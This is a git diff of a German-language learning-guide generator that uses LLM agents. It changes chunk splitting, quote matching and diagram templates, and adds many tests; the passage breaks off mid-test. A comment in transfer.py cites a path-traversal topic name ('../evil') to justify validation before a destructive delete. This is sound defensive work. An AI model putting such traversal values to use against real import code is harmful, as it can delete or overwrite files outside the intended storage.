-74,7 +74,7 @@ async def _ziele_bilden(ctx: llm.Kontext) -> None: for a in rest: db.update("atome", "id", a["id"], ziel_id=ziel_id) - await asyncio.gather(*(eine_gruppe(s, g) for s, g in gruppen.items())) + await llm.alle(eine_gruppe(s, g) for s, g in gruppen.items()) # ── Zyklen brechen ──────────────────────────────────────────────────────────── @@ -220,8 +220,11 @@ def _bausteine_schneiden(ctx: llm.Kontext) -> None: kleine = sorted([k for k, g in gruppen.items() if len(g) < BAUSTEIN_MIN_ATOME], key=lambda k: len(gruppen[k])) for k in kleine: - passende = [p for p in gruppen if p != k and p[1] == k[1] - and len(gruppen[p]) + len(gruppen[k]) <= BAUSTEIN_MAX_ATOME] + # nur Level-Gleichheit als Schranke — die MAX-Grenze fiel weg, weil der + # Split große Gruppen ohnehin bandkonform zerlegt. Sonst blieb eine + # kleine Gruppe ohne passenden Partner als Unter-Band-Baustein liegen, + # den messen dann als unreparierbaren band-Befund meldete. + passende = [p for p in gruppen if p != k and p[1] == k[1]] if not passende: continue eigener = gruppen_rang(gruppen[k]) @@ -249,9 +252,15 @@ def _bausteine_schneiden(ctx: llm.Kontext) -> None: z = ziele.get(ziel_id, {}) titel = z.get("titel") or z.get("text", "Baustein") # Kurztitel; Zieltext nur Fallback n_teile = -(-len(gruppe) // BAUSTEIN_MAX_ATOME) - groesse = -(-len(gruppe) // n_teile) + # gleichverteilt statt ceil-Scheiben: der letzte Teil war sonst der Rest + # (43→8,8,8,8,8,3 verletzt das Band). divmod → 43→8,7,7,7,7,7; mit + # MIN≤MAX/2 liegt jeder Teil bei n_teile≥2 beweisbar im Band. + basis, rest_teile = divmod(len(gruppe), n_teile) + start = 0 for teil in range(n_teile): - teil_ids = ordnung[teil * groesse:(teil + 1) * groesse] + gr = basis + (1 if teil < rest_teile else 0) + teil_ids = ordnung[start:start + gr] + start += gr if not teil_ids: continue b_titel = titel if n_teile == 1 else f"{titel} (Teil {teil + 1})" @@ -473,14 +482,13 @@ def messen(ctx: llm.Kontext) -> list[dict]: je_baustein: dict = defaultdict(list) for a in atome: je_baustein[a["baustein_id"]].append(a) - # Band-Unterschreitung nur, wo ein Merge MÖGLICH gewesen wäre (kombiniert - # ≤ Band) — dieselbe Bedingung wie im Schnitt; eine unerfüllbare Messlatte - # pendelt nur die Note (Lektion 75). + # Band-Unterschreitung nur, wo der Schnitt einen Merge-Partner HÄTTE (gleiches + # Level, anderer Baustein) — der Schnitt mergt jetzt ohne MAX-Schranke und + # re-splittet bandkonform, also ist genau das die erfüllbare Messlatte. Eine + # einsame Unter-Band-Gruppe ohne Level-Partner meldet nichts (Lektion 75). for b in bausteine: n = len(je_baustein[b["id"]]) - partner = any(bb["id"] != b["id"] and bb["level"] == b["level"] - and len(je_baustein[bb["id"]]) + n <= BAUSTEIN_MAX_ATOME - for bb in bausteine) + partner = any(bb["id"] != b["id"] and bb["level"] == b["level"] for bb in bausteine) if n > BAUSTEIN_MAX_ATOME or (n < BAUSTEIN_MIN_ATOME and partner): befunde.append({"art": "band", "item": str(b["id"]), "detail": f"{b['titel']}: {n} Atome"}) diff --git a/backend/textkit.py b/backend/textkit.py index 7c363da..1f0292b 100644 --- a/backend/textkit.py +++ b/backend/textkit.py @@ -65,6 +65,18 @@ def _locker_mit_map(text: str) -> tuple[str, list[int]]: return "".join(out), mapping +def _casefold_mit_map(text: str) -> tuple[str, list[int]]: + """Gefaltete Kopie + Map auf die Original-Positionen. casefold() kann ein + Zeichen zu mehreren expandieren (ß→ss) — die Map hält den Rückweg eindeutig.""" + out: list[str] = [] + mapping: list[int] = [] + for i, c in enumerate(text): + for cn in c.casefold(): + out.append(cn) + mapping.append(i) + return "".join(out), mapping + + _LOCKER_MIN_ZEICHEN = 20 # kürzere Zitate sind alnum-gefaltet nicht mehr eindeutig @@ -81,11 +93,17 @@ def finde_zitat(text: str, zitat: str) -> tuple[int, int] | None: haystack, mapping = _normiert_mit_map(text) needle = _WS.sub(" ", zitat).strip() pos = haystack.find(needle) - if pos < 0: - pos = haystack.casefold().find(needle.casefold()) if pos >= 0: - start = mapping[pos] - ende = mapping[min(pos + len(needle) - 1, len(mapping) - 1)] + 1 + return mapping[pos], mapping[min(pos + len(needle) - 1, len(mapping) - 1)] + 1 + # Stufe 2: casefold — eigene Map, weil casefold die Länge ändert (ß→ss, fi→fi). + # Direkt in `mapping` zu indizieren verschob den Span um jede Expansion vor dem + # Treffer und lief am Textende in einen IndexError. + hay_cf, sub = _casefold_mit_map(haystack) + ndl_cf = needle.casefold() + pos = hay_cf.find(ndl_cf) + if pos >= 0: + start = mapping[sub[pos]] + ende = mapping[sub[min(pos + len(ndl_cf) - 1, len(sub) - 1)]] + 1 return start, ende hay_l, map_l = _locker_mit_map(text) ndl_l, _ = _locker_mit_map(zitat) diff --git a/backend/transfer.py b/backend/transfer.py index 4175176..19b3c5e 100644 --- a/backend/transfer.py +++ b/backend/transfer.py @@ -11,6 +11,7 @@ import re import sys from pathlib import Path +import config import db import pipeline from config import PROJECT_ROOT @@ -69,6 +70,11 @@ def _einfuegen(tabelle: str, zeilen: list[dict], **ersetzungen) -> dict: def importieren(d: dict) -> None: topic = d["topic"] + # Vor dem destruktiven topic_loeschen (rmtree) den Namen validieren — ein + # manipulierter Export mit topic="../evil" würde sonst außerhalb von storage + # löschen/schreiben. + if not config.topic_name_ok(topic): + raise ValueError(f"ungültiger Topic-Name: {topic!r}") if db.one("SELECT name FROM topics WHERE name=?", (topic,)): pipeline.topic_loeschen(topic) # Zielseite wird überschrieben @@ -119,12 +125,21 @@ def importieren(d: dict) -> None: alt = int(m.group(1)) return m.group(0).replace(m.group(1), str(a_map[alt]), 1) if alt in a_map else m.group(0) + def auftrag_remap(m: re.Match) -> str: + alt = int(m.group(2)) + return f"{m.group(1)}{a_map[alt]}" if alt in a_map else m.group(0) + for z in d["sections"]: # PK ist baustein_id z = dict(z) z["baustein_id"] = b_map.get(z["baustein_id"]) for feld in ("text_lang", "text_kompakt"): if z.get(feld): z[feld] = re.sub(r"/g +// ausblenden. non-greedy statt [^>]*, damit ein „>" im Atom-Titel den Match +// nicht abschneidet (spiegelt backend/guide.py _MARKER_VOLL). +const MARKER = //g -// Wortzahl + Display-Formeln des sichtbaren Texts (für die Lesezeit-Schätzung) +// Wortzahl + Display-Formeln des sichtbaren Texts (für die Lesezeit-Schätzung). +// Alle vier Formel-Delimiter wie in mathe() behandeln — sonst zählte eine +// \[…\]-Display-Formel als Wörter und die +5-s-Pauschale fiel weg. export function lesestat(text) { let displayFormeln = 0 const t = (text || '') + .replace(/```mermaid[\s\S]*?```/g, ' ') // Diagramm-Quelltext zählt nicht als Text .replace(MARKER, ' ') .replace(/\$\$[\s\S]+?\$\$/g, () => { displayFormeln += 1; return ' ' }) + .replace(/\\\[[\s\S]+?\\\]/g, () => { displayFormeln += 1; return ' ' }) .replace(/\$[^$\n]+?\$/g, ' Formel ') + .replace(/\\\([\s\S]+?\\\)/g, ' Formel ') const woerter = t.split(/\s+/).filter(Boolean).length return { woerter, displayFormeln } } diff --git a/frontend/src/style.css b/frontend/src/style.css index f6fbe16..5d1ac62 100644 --- a/frontend/src/style.css +++ b/frontend/src/style.css @@ -222,7 +222,9 @@ body.nav-zu .hauptbereich { padding-top: 38px; } padding: 16px 22px; margin-bottom: 16px; } .guide-section .ziel { color: var(--akzent); font-size: 13px; } -.markdown .katex-display { overflow-x: auto; overflow-y: hidden; padding: 4px 0; } +:is(.markdown, .kompakt) .katex-display { overflow-x: auto; overflow-y: hidden; padding: 4px 0; } +.mermaid-figur { overflow-x: auto; text-align: center; margin: 16px 0; } +.mermaid-figur svg { max-width: 100%; height: auto; } .markdown blockquote { margin: 12px 0; padding: 8px 14px; border-left: 3px solid var(--akzent); background: var(--karte); border-radius: 0 6px 6px 0; color: var(--text); @@ -248,7 +250,7 @@ table.kennzahlen th:first-child, table.kennzahlen td:first-child { text-align: l table.kennzahlen th { color: var(--dim); } /* ── Mobil (≤768px): Navigationen als Drawer, Board mit Spalten-Snap ────────── */ -.markdown .katex { max-width: 100%; overflow-x: auto; overflow-y: hidden; } +:is(.markdown, .kompakt) .katex { max-width: 100%; overflow-x: auto; overflow-y: hidden; } @media (max-width: 768px) { .sidebar, .guide-nav { position: fixed; top: 0; bottom: 0; left: 0; z-index: 30; diff --git a/templates/Diagramm-Plan.md b/templates/Diagramm-Plan.md new file mode 100644 index 0000000..279082d --- /dev/null +++ b/templates/Diagramm-Plan.md @@ -0,0 +1,22 @@ + +Entscheide, ob der Baustein „{titel}" ein Diagramm braucht. +Durchgang: {durchgang}. + +Ein Diagramm hilft NUR, wenn es Struktur oder Ablauf zeigt, den reiner Text teuer +erklärt: Zustandsübergänge/Automaten, Abläufe/Verfahren, Baum-/Hierarchie-Strukturen. +Es schadet, wenn es bloß wiederholt, was ein Satz schon sagt (Redundanz), oder nur +schmückt. Im dritten Durchgang (Feinheiten) sparsam. + +Nachbar-Bausteine (nicht dieselbe Relation doppeln): +{nachbarn} + +Wähle den Typ: +- state: Automat / Zustandsübergänge. +- flow: Ablauf / Verfahren / Schritte. +- tree: Hierarchie / Baum / Zerlegung. + +ATOME: +{atome} + +Antworte NUR mit JSON (keine Code-Fences): +{{"noetig": true, "typ": "state"}} diff --git a/templates/Diagramm-Spec.md b/templates/Diagramm-Spec.md new file mode 100644 index 0000000..9999fd7 --- /dev/null +++ b/templates/Diagramm-Spec.md @@ -0,0 +1,20 @@ + +Beschreibe die STRUKTUR eines {typ}-Diagramms für den Baustein „{titel}". +Schreibe KEIN Mermaid, KEINEN Code — nur die Struktur als JSON. Ein Programm +kompiliert daraus das Diagramm. + +Regeln (hart): +- NUR Konzepte/Zustände/Schritte aus den ATOMEN unten. Nichts erfinden, nichts + dazurecherchieren — jeder Knoten muss aus einem Atom ableitbar sein. +- „knoten": kurze Labels (1–4 Wörter), auf Deutsch. +- „kanten": „von"/„zu" verweisen auf „id"-Werte aus „knoten"; „label" optional + (kurze Kantenbeschriftung, z. B. das auslösende Symbol beim Automaten). +- Klein und lesbar halten: nur die tragende Struktur, keine Vollständigkeit um + jeden Preis. + +ATOME: +{atome} + +Antworte NUR mit JSON (keine Code-Fences): +{{"typ": "{typ}", "knoten": [{{"id": "q0", "label": "Startzustand"}}], + "kanten": [{{"von": "q0", "zu": "q1", "label": "a"}}]}} diff --git a/templates/Diagramm-Verify.md b/templates/Diagramm-Verify.md new file mode 100644 index 0000000..2f3bd9c --- /dev/null +++ b/templates/Diagramm-Verify.md @@ -0,0 +1,21 @@ + +Prüfe das Diagramm GEGEN DIE ATOME. Ist es fachlich korrekt und vollständig aus +den Atomen ableitbar? + +ok=false, wenn: +- ein Knoten/Zustand/Schritt vorkommt, der in keinem Atom steht (erfunden), +- die dargestellten Beziehungen/Übergänge den Atomen widersprechen, +- die tragende Struktur des Themas fehlt oder verdreht ist. + +ok=true bei kleinen Vereinfachungen (Weglassen von Randfällen ist erlaubt). +Layout/Ästhetik ist KEIN Mangel — nur inhaltliche Korrektheit zählt. +Bei ok=false: „mangel" = ein konkreter, behebbarer Satz. + +ATOME: +{atome} + +DIAGRAMM (Mermaid): +{mermaid} + +Antworte NUR mit JSON (keine Code-Fences): +[{{"ok": true, "mangel": ""}}] diff --git a/templates/Guide-Writer.md b/templates/Guide-Writer.md index f0a2edf..6e438e1 100644 --- a/templates/Guide-Writer.md +++ b/templates/Guide-Writer.md @@ -63,6 +63,14 @@ Regeln (hart): 7. Keine Vorgriffe auf Stoff, der nicht in den Atomen unten steht — auch nicht auf spätere Durchgänge. Unbekannte Begriffe beim ersten Auftreten kurz mit Bekanntem einordnen, nie vertrösten („dazu später mehr" ist VERBOTEN). +8. DIAGRAMME: Unten stehen fertige Diagramme (Marker + Beschreibung). Setze den + passenden ``-Marker in eine EIGENE Zeile direkt bei dem + Absatz, der die gezeigte Relation einführt (Nähe zum Text). Nur die + angebotenen Marker verwenden, keine erfinden, jeden höchstens einmal. Passt + ein Diagramm nicht zum Fluss, lass seinen Marker weg. „(keine)" → ignorieren. + +VERFÜGBARE DIAGRAMME: +{diagramme} ATOME: {atome} diff --git a/tests/test_artefakte.py b/tests/test_artefakte.py index c4fc69f..39691e0 100644 --- a/tests/test_artefakte.py +++ b/tests/test_artefakte.py @@ -27,6 +27,43 @@ def test_referenz_muster_trifft_nur_referenzen(): assert not any(artefakte._referenziert_quelle(k) for k in gut) +async def test_nur_ohne_sieht_fehlende_flashcard(): + """Ein lebendes Beispiel darf die Flashcard-Nachgenerierung nicht blockieren.""" + topic = topic_anlegen("fcfehlt") + a = db.insert("atome", topic=topic, titel="X", typ="begriff", definition="d", + status="neu", soll_id=1, braucht=db.j([])) + b = db.insert("atome", topic=topic, titel="Y", typ="begriff", definition="d", + status="neu", soll_id=1, braucht=db.j([])) + # a: nur ein Beispiel, keine Flashcard → muss nachgeneriert werden + db.insert("artefakte", atom_id=a, typ="beispiel", status="verifiziert", + inhalt=db.j({"text": "Beispiel"})) + # b: verifizierte Flashcard → versorgt, nicht mehr in nur_ohne + db.insert("artefakte", atom_id=b, typ="flashcard", status="verifiziert", + inhalt=db.j({"frage": "F", "antwort": "A"})) + ids = [x["id"] for c in artefakte._chunks(topic, nur_ohne=True) for x in c] + assert ids == [a] + + +async def test_reverify_ausfall_laesst_kandidat(monkeypatch): + """Re-Verify-Ausfall (kein Urteil zur id) → Kandidat bleibt, nicht verworfen.""" + import fake_agents + topic = topic_anlegen("reverify") + run = run_anlegen(topic) + a = db.insert("atome", topic=topic, titel="X", typ="begriff", definition="d", + status="neu", braucht=db.j([])) + k = db.insert("artefakte", atom_id=a, typ="flashcard", status="kandidat", + inhalt=db.j({"frage": "Was ist X?", "antwort": "Y", "text": ""})) + # Fix liefert saubere Karte; Re-Verify antwortet ohne Eintrag zur id → kein Urteil + monkeypatch.setitem(fake_agents._HANDLER, "Artefakt-Fix", + lambda p: {"frage": "Was ist X?", "antwort": "Y", "text": ""}) + monkeypatch.setitem(fake_agents._HANDLER, "Artefakt-Verify", lambda p: []) + ctx = llm.Kontext(run, topic, "minimax") + ctx.ebene = "artefakte" + await artefakte._fixen(ctx, db.one("SELECT * FROM artefakte WHERE id=?", (k,)), + ["mangel"], {"id": a}) + assert db.one("SELECT status FROM artefakte WHERE id=?", (k,))["status"] == "kandidat" + + async def test_guard_verwirft_kandidat_und_repair_kann_nachlegen(): topic = topic_anlegen("guard") run = run_anlegen(topic) diff --git a/tests/test_bausteine.py b/tests/test_bausteine.py index 91b96cf..110b1cc 100644 --- a/tests/test_bausteine.py +++ b/tests/test_bausteine.py @@ -245,6 +245,110 @@ async def test_fix_fehlschlag_behaelt_befunde(monkeypatch): assert db.uj(sec["befunde"]) == ["Behebe (x): y"] # Aufträge bleiben sichtbar +def test_marker_titel_erzeugen_keine_auftraege(): + """Atom-Titel im Marker (a_n, A*-Suche) dürfen keine Mathe-/Stil-Aufträge + erzeugen — der Fix darf Marker nie ändern, das wäre ein Endlos-Loop.""" + import db + import guide + from conftest import topic_anlegen + topic = topic_anlegen("markerimmun") + ziel = db.insert("lernziele", topic=topic, text="Kann X", status="aktiv") + b_id = db.insert("bausteine", topic=topic, ziel_id=ziel, titel="B", ord=0, status="neu") + a1 = db.insert("atome", topic=topic, titel="Folge a_n", typ="begriff", definition="d", + status="neu", baustein_id=b_id, braucht=db.j([])) + a2 = db.insert("atome", topic=topic, titel="A*-Suche", typ="begriff", definition="d", + status="neu", baustein_id=b_id, braucht=db.j([])) + lang = (f"\n\n" + + "Sauberer Fließtext ohne Formeln. " * 12) + joined = " ".join(guide._det_auftraege(topic, {"id": b_id, "ord": 0}, lang, "")) + assert "a_n" not in joined and "A*" not in joined + assert "Formel" not in joined and "$-Zeichen" not in joined and "2^" not in joined + + +def test_persistieren_dedup_mit_detail(): + """Mehrere Befunde gleicher (art,item) mit verschiedenem detail = je eine Zeile.""" + import db + import llm + import qa + from conftest import run_anlegen, topic_anlegen + topic = topic_anlegen("persist") + ctx = llm.Kontext(run_anlegen(topic), topic, "minimax") + qa._persistieren(ctx, "guide", [{"art": "det_check", "item": "5", "detail": "A"}, + {"art": "det_check", "item": "5", "detail": "B"}]) + assert len(db.query("SELECT id FROM befunde WHERE status='offen'")) == 2 + qa._persistieren(ctx, "guide", [{"art": "det_check", "item": "5", "detail": "A"}]) + stat = {(b["detail"], b["status"]) for b in db.query("SELECT detail, status FROM befunde")} + assert ("A", "offen") in stat and ("B", "repariert") in stat + + +async def test_fix_offen_in_messen(): + """Gescheiterter Fix (stage done, Rest-Aufträge) passiert das Gate nicht mehr.""" + import db + import guide + import llm + from conftest import run_anlegen, topic_anlegen + topic = topic_anlegen("fixoffen") + ziel = db.insert("lernziele", topic=topic, text="Kann X", status="aktiv") + b_id = db.insert("bausteine", topic=topic, ziel_id=ziel, titel="B", ord=0, status="neu") + a = db.insert("atome", topic=topic, titel="A", typ="begriff", definition="d", + status="neu", baustein_id=b_id, braucht=db.j([])) + lang = f"\n" + "Wort " * 60 + db.insert("sections", baustein_id=b_id, stage="done", text_lang=lang, + text_kompakt="- p", befunde=db.j(["KRITISCH (luecke): Atom-Inhalt fehlt"])) + ctx = llm.Kontext(run_anlegen(topic), topic, "minimax") + ctx.ebene = "guide" + assert "fix_offen" in {b["art"] for b in guide.messen(ctx)} + + +async def test_reparieren_bewegt_false_bei_identischem_text(monkeypatch): + """Fix ändert den Text nicht → reparieren meldet ehrlich False (Stillstand).""" + import db + import fake_agents + import guide + import llm + from conftest import run_anlegen, topic_anlegen + topic = topic_anlegen("bewegt") + run = run_anlegen(topic) + ziel = db.insert("lernziele", topic=topic, text="Kann X", status="aktiv") + b_id = db.insert("bausteine", topic=topic, ziel_id=ziel, titel="B", ord=0, status="neu") + a = db.insert("atome", topic=topic, titel="A", typ="begriff", definition="d", + status="neu", baustein_id=b_id, braucht=db.j([])) + lang = f"\n" + "Wort " * 60 + db.insert("sections", baustein_id=b_id, stage="fix", text_lang=lang, + text_kompakt="- p", befunde=db.j(["Behebe (laenge): kürzen"])) + monkeypatch.setitem(fake_agents._HANDLER, "Guide-Fix", + lambda p: {"kompakt": "- p", "lang": lang}) # identisch + ctx = llm.Kontext(run, topic, "minimax") + ctx.ebene = "guide" + bewegt = await guide.reparieren( + ctx, [{"art": "det_check", "item": str(b_id), "detail": "kürzen"}]) + assert bewegt is False + + +def test_stil_kein_fehlalarm_deutsch(): + """Deutscher Satz mit Homographen an/will/Not → keine „englische Passage".""" + import guide + text = ("Wir passen die Kurve an und lesen den Wert an der Stelle ab, denn der" + " Algorithmus will nicht in Not geraten und braucht das an dieser Stelle.") + assert not any("englische Passage" in x for x in guide._stil_auftraege(text, "Langtext")) + + +def test_pruefe_dich_norm_match(): + """Frage-Matching ist Case/Whitespace-tolerant (Fix darf umformatieren).""" + import db + import guide + from conftest import topic_anlegen + topic = topic_anlegen("pruefe") + ziel = db.insert("lernziele", topic=topic, text="Z", status="aktiv") + b_id = db.insert("bausteine", topic=topic, ziel_id=ziel, titel="B", ord=0, status="neu") + a = db.insert("atome", topic=topic, titel="A", typ="begriff", definition="d", + status="neu", baustein_id=b_id, braucht=db.j([])) + db.insert("artefakte", atom_id=a, typ="flashcard", status="verifiziert", + inhalt=db.j({"frage": "Was ist ein Graph?", "antwort": "Knoten und Kanten."})) + fragen = guide._pruefe_dich(b_id, "Prüfe dich: Was ist ein Graph?") + assert len(fragen) == 1 and fragen[0]["antwort"] == "Knoten und Kanten." + + def test_katex_gate_und_markdown_hygiene(monkeypatch): import guide monkeypatch.delenv("CREATOR_FAKE_AGENTS", raising=False) # Gate echt laufen lassen diff --git a/tests/test_budget_infra.py b/tests/test_budget_infra.py index 555c1f1..fb85732 100644 --- a/tests/test_budget_infra.py +++ b/tests/test_budget_infra.py @@ -39,6 +39,138 @@ async def test_infra_pause_statt_fail_open(monkeypatch): assert stati and all(s == "infra" for s in stati) # jeder Versuch im Ledger +async def test_budget_vorab_stoppt_ohne_neuen_call(monkeypatch): + """Erschöpftes Budget → nächster call() wirft, BEVOR ein Agent-Call startet.""" + import db + topic = topic_anlegen() + run = run_anlegen(topic, budget=100) + ctx = llm.Kontext(run, topic, "minimax") + ctx.ebene = "test" + # Budget künstlich überschreiten (ohne Agent-Call), Event-Zahl merken + ledger.log_call(run, ebene="test", stage="seed", status="ok", + tokens={"input": 200, "output": 0}) + vorher = db.one("SELECT COUNT(*) AS n FROM events WHERE run_id=?", (run,))["n"] + + async def darf_nicht_laufen(key, prompt, timeout, **kw): + raise AssertionError("Agent-Call trotz erschöpftem Budget gestartet") + + monkeypatch.setattr(agents, "run_agent", darf_nicht_laufen) + with pytest.raises(ledger.BudgetErschoepft): + await llm.call(ctx, stage="soll", template="Korpus-Soll", + werte={"topic": topic, "quelle": "q", "text": "x"}, erwartet=list) + nachher = db.one("SELECT COUNT(*) AS n FROM events WHERE run_id=?", (run,))["n"] + assert nachher == vorher # keine neue Ledger-Zeile = kein Call + + +async def test_hedge_gewinner_trotz_haupt_timeout(monkeypatch): + """Haupt-Call läuft in Timeout, Zwilling (-h) liefert → Ergebnis statt Pause.""" + topic = topic_anlegen() + run = run_anlegen(topic) + ctx = llm.Kontext(run, topic, "minimax") + ctx.ebene = "test" + monkeypatch.setattr(llm, "HEDGE_NACH_S", 0.05) + + async def haupt_stallt(key, prompt, timeout, **kw): + if key.endswith("-h"): # Zwilling liefert gültiges JSON + return agents.AgentErgebnis(0, "[]", "") + await asyncio.sleep(10) # Haupt hängt → wird nach Timeout gecancelt + return agents.AgentErgebnis(0, "[]", "") + + monkeypatch.setattr(agents, "run_agent", haupt_stallt) + # timeout klein halten, damit der Haupt-Task zügig als Timeout endet + monkeypatch.setattr(llm, "timeout_fuer", lambda *a, **k: 0.2) + res = await llm.call(ctx, stage="soll", template="Korpus-Soll", + werte={"topic": topic, "quelle": "q", "text": "x"}, erwartet=list) + assert res == [] # Zwilling hat geliefert, kein LaufPause + + +async def test_hedge_verlierer_zaehlt_im_budget(monkeypatch): + """Beide Hedge-Calls liefern → zwei Ledger-Zeilen, Verlierer-Tokens im Budget.""" + import db + topic = topic_anlegen() + run = run_anlegen(topic) + ctx = llm.Kontext(run, topic, "minimax") + ctx.ebene = "test" + monkeypatch.setattr(llm, "HEDGE_NACH_S", 0.05) + monkeypatch.setattr(llm, "timeout_fuer", lambda *a, **k: 0.4) # schwelle=0.2 + + async def haupt_leer_zwilling_ok(key, prompt, timeout, **kw): + if key.endswith("-h"): # Zwilling startet bei 0.2, liefert bei ~0.35 + await asyncio.sleep(0.15) + return agents.AgentErgebnis(0, "[]", "") + await asyncio.sleep(0.25) # Haupt: fertig, aber leer (nicht ok) → Verlierer + return agents.AgentErgebnis(1, "", "leer", {"input": 40, "output": 20}) + + monkeypatch.setattr(agents, "run_agent", haupt_leer_zwilling_ok) + res = await llm.call(ctx, stage="soll", template="Korpus-Soll", + werte={"topic": topic, "quelle": "q", "text": "x"}, erwartet=list) + assert res == [] + zeilen = db.query("SELECT status FROM events WHERE run_id=?", (run,)) + assert any(z["status"] == "hedge" for z in zeilen) # Verlierer geloggt + assert ledger.verbraucht(run) >= 60 # Verlierer-Tokens (40+20) sichtbar + + +async def test_spawn_kill_bei_cancel(monkeypatch): + """Task-Cancel (Hedge-Verlierer/Pause) killt den CLI-Prozess, kein Zombie.""" + import os + monkeypatch.delenv("CREATOR_FAKE_AGENTS", raising=False) + monkeypatch.setattr(agents, "_ram_gate", lambda key: _true()) + task = asyncio.ensure_future( + agents._spawn("t-cancel", ["sleep", "30"], None, 30)) + for _ in range(200): # warten bis der Prozess registriert ist + if agents._prozesse: + break + await asyncio.sleep(0.01) + proc = next(iter(agents._prozesse.values())) + pid = proc.pid + task.cancel() + with pytest.raises(asyncio.CancelledError): + await task + for _ in range(200): # Kill ist async + try: + os.kill(pid, 0) + except ProcessLookupError: + break + await asyncio.sleep(0.01) + with pytest.raises(ProcessLookupError): + os.kill(pid, 0) # Prozess ist tot + assert not agents._prozesse # aus der Registry entfernt + + +async def _true(): + return True + + +async def test_opencode_timeout_loggt_tokens(monkeypatch): + """opencode-Timeout: Tokens der Session werden geloggt, nicht als 0 verworfen.""" + monkeypatch.delenv("CREATOR_FAKE_AGENTS", raising=False) + + async def spawn_timeout(*a, **kw): + raise asyncio.TimeoutError + + monkeypatch.setattr(agents, "_spawn", spawn_timeout) + monkeypatch.setattr(agents, "_opencode_tokens", + lambda key: {"input": 5000, "output": 3000}) + res = await agents._opencode("t-oc", "prompt", 10, "minimax/M", "none") + assert res.err == "timeout" and not res.ok + assert res.tokens == {"input": 5000, "output": 3000} # nicht 0 + + +def test_gather_nur_in_llm(): + """Rückfall-Guard: bare asyncio.gather darf NUR in llm.py stehen (sonst + laufen Geschwister-Tasks bei LaufPause/Budget weiter — nutze llm.alle).""" + from pathlib import Path + backend = Path(__file__).resolve().parent.parent / "backend" + treffer = [] + for p in backend.glob("*.py"): + if p.name == "llm.py": + continue + for i, zeile in enumerate(p.read_text(encoding="utf-8").splitlines(), 1): + if "asyncio.gather" in zeile: + treffer.append(f"{p.name}:{i}") + assert not treffer, f"bare asyncio.gather außerhalb llm.py: {treffer}" + + async def test_inhaltsfehler_kein_laufabbruch(monkeypatch): topic = topic_anlegen() run = run_anlegen(topic) diff --git a/tests/test_diagramme.py b/tests/test_diagramme.py new file mode 100644 index 0000000..67bbc3b --- /dev/null +++ b/tests/test_diagramme.py @@ -0,0 +1,130 @@ +"""Ebene 3.5 Diagramme: deterministische DAG-Diagramme (kein LLM), Spec→Mermaid.""" + +import db +import diagramme +import llm +from conftest import run_anlegen, topic_anlegen + + +def _baustein_mit_kette(topic, n=4): + """Baustein mit n Atomen und einer braucht-Kette a0←a1←…←a(n-1) (n-1 Kanten).""" + soll = db.insert("soll", topic=topic, punkt="P", status="bestaetigt", belege=db.j([])) + ziel = db.insert("lernziele", topic=topic, text="Kann P", soll_id=soll, status="aktiv") + b = db.insert("bausteine", topic=topic, ziel_id=ziel, titel="B", ord=0, status="neu") + atome = [db.insert("atome", topic=topic, titel=f"Atom {i}", typ="begriff", + definition="d", status="neu", baustein_id=b, ord=i, braucht=db.j([])) + for i in range(n)] + for i in range(1, n): # Atom i braucht Atom i-1 + db.execute("INSERT INTO kanten(topic, von_atom, zu_atom, art) VALUES(?,?,?,'braucht')", + (topic, atome[i], atome[i - 1])) + return b, atome + + +def test_spec_zu_mermaid_flowchart(): + spec = {"typ": "dependency", + "knoten": [{"id": "1", "label": "A"}, {"id": "2", "label": 'B "x" [y]'}], + "kanten": [{"von": "1", "zu": "2", "label": ""}]} + out = diagramme._spec_zu_mermaid(spec) + assert out.startswith("flowchart TD") + assert 'n1["A"]' in out and "n1 --> n2" in out + assert '"' not in out.split("\n", 1)[1].replace('["', "").replace('"]', "") # Label entschärft + + +async def test_dag_diagramm_wird_gebaut_und_verifiziert(): + topic = topic_anlegen("diag-dag") + b, atome = _baustein_mit_kette(topic, n=4) # 3 Kanten ≥ DIAGRAMM_MIN_KANTEN + ctx = llm.Kontext(run_anlegen(topic), topic, "minimax") + await diagramme.bauen(ctx) + d = db.one("SELECT * FROM diagramme WHERE baustein_id=?", (b,)) + assert d and d["status"] == "verifiziert" and d["quelle"] == "dag" + assert d["mermaid"].startswith("flowchart TD") + assert all(f"n{a}" in d["mermaid"] for a in atome) # jeder Knoten drin + assert diagramme.messen(ctx) == [] # keine offenen Kandidaten + assert diagramme.gate(ctx) is None + + +async def test_wenig_kanten_kein_diagramm(): + topic = topic_anlegen("diag-leer") + b, _ = _baustein_mit_kette(topic, n=2) # nur 1 Kante < Schwelle + ctx = llm.Kontext(run_anlegen(topic), topic, "minimax") + await diagramme.bauen(ctx) + # kein GEBAUTES Diagramm (Fake-Judge sagt noetig=False → nur eine 'kein'-Merkzeile) + assert db.query("SELECT id FROM diagramme WHERE topic=? AND status='verifiziert'", + (topic,)) == [] + assert db.one("SELECT status FROM diagramme WHERE baustein_id=?", (b,))["status"] == "kein" + + +async def test_llm_diagramm_plan_spec_verify(monkeypatch): + """LLM-Zweig: Judge sagt nötig → Spec → Mermaid → Grounding-Panel verifiziert.""" + import fake_agents + topic = topic_anlegen("diag-llm") + # Baustein OHNE genug Kanten (kein DAG) → LLM-Zweig entscheidet + soll = db.insert("soll", topic=topic, punkt="P", status="bestaetigt", belege=db.j([])) + ziel = db.insert("lernziele", topic=topic, text="Kann P", soll_id=soll, status="aktiv") + b = db.insert("bausteine", topic=topic, ziel_id=ziel, titel="Automat", ord=0, status="neu") + for i in range(3): + db.insert("atome", topic=topic, titel=f"Zustand {i}", typ="begriff", definition="d", + status="neu", baustein_id=b, ord=i, braucht=db.j([])) + monkeypatch.setitem(fake_agents._HANDLER, "Diagramm-Plan", + lambda p: {"noetig": True, "typ": "state"}) + ctx = llm.Kontext(run_anlegen(topic), topic, "minimax") + await diagramme.bauen(ctx) + d = db.one("SELECT * FROM diagramme WHERE baustein_id=?", (b,)) + assert d["status"] == "verifiziert" and d["quelle"] == "llm" and d["typ"] == "state" + assert d["mermaid"].startswith("stateDiagram-v2") + + +async def test_llm_diagramm_grounding_verwirft(monkeypatch): + """Grounding-Panel einstimmig ok=false → Diagramm verworfen (fail-closed).""" + import fake_agents + topic = topic_anlegen("diag-verwirf") + soll = db.insert("soll", topic=topic, punkt="P", status="bestaetigt", belege=db.j([])) + ziel = db.insert("lernziele", topic=topic, text="Kann P", soll_id=soll, status="aktiv") + b = db.insert("bausteine", topic=topic, ziel_id=ziel, titel="X", ord=0, status="neu") + for i in range(3): + db.insert("atome", topic=topic, titel=f"K{i}", typ="begriff", definition="d", + status="neu", baustein_id=b, ord=i, braucht=db.j([])) + monkeypatch.setitem(fake_agents._HANDLER, "Diagramm-Plan", + 